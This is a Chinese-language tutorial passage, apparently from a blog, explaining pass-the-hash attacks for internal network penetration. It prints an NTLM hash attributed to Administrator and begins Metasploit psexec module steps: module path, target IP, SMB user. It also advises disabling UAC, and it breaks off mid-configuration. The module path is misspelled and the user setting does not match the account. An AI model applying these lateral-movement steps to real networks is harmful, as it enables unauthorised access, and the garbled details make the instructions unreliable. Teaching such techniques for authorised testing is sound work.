内网渗透-Hash传递攻击

Hash传递攻击

前言

今天给大家讲解一个知识点，Hash传递攻击，它是在不知道明文密码，只知道hash值的时候进行攻击的一种手段，会返回一个会话，且是system权限，但会遇到uac的问题，我们只要关闭uac就可以了。

psexec模块

利用的前提是必须开放445端口

首先，我们需要获得用户的hash值
在kali中，不知道为什么hash值获取不了，我们cs上线来获取hash值

Administrator的hash值如下：
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

我们使用Administrator用户的hash值，也是获得会话的shell，使用打开msf，使用以下模块
use exploit/winodws/smb/psexec

使用方法如下：
show options
set rhost 192.168.52.143（必须开始445端口）
set smbuser root（设置账号）
set smbpass